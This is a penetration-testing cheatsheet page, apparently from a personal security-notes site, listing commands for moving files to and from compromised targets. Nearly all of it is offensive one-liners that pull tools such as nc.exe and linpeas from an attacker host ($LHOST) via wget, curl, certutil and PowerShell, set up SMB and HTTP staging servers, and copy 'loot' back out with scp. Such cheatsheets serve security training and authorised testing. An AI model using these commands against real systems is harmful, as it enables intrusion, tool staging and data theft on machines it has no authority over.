// notes/ Cheatsheets & Payloads
📤

File Transfer — Cheatsheet

Move files on/off targets over HTTP, SMB, base64, certutil, scp.

#file transfer#http#smb#certutil#base64

File Transfer — Cheatsheet

Host a server (attacker side)

Serve the current folder over HTTP on port 80.

🐺 howlsec@kali
$python3 -m http.server 80

Spin up an SMB share (great for Windows targets).

🐺 howlsec@kali
$impacket-smbserver share . -smb2support

Linux download

Pull a file with wget.

🐺 howlsec@kali
$wget http://$LHOST/linpeas.sh -O /tmp/lp.sh

Pull a file with curl.

🐺 howlsec@kali
$curl http://$LHOST/lp.sh -o /tmp/lp.sh

Windows download

Download with the built-in certutil (LOLBin).

🐺 howlsec@kali
$certutil -urlcache -f http://%LHOST%/nc.exe nc.exe

Download with PowerShell iwr.

🐺 howlsec@kali
$powershell -c "iwr http://%LHOST%/nc.exe -o nc.exe"

Download with the classic WebClient one-liner.

🐺 howlsec@kali
$powershell -c "(New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc.exe','nc.exe')"

SMB copy (Windows)

Copy a file straight from your SMB share.

🐺 howlsec@kali
$copy \\%LHOST%\share\file.exe .

base64 (no tools available)

Encode a file to base64 on your box.

🐺 howlsec@kali
$base64 -w0 file

Decode it back on the target (paste the blob).

🐺 howlsec@kali
$echo <b64> | base64 -d > file

scp

Copy a file to the target over SSH.

🐺 howlsec@kali
$scp file $USER@$IP:/tmp/

Copy loot back from the target.

🐺 howlsec@kali
$scp $USER@$IP:/tmp/loot.zip .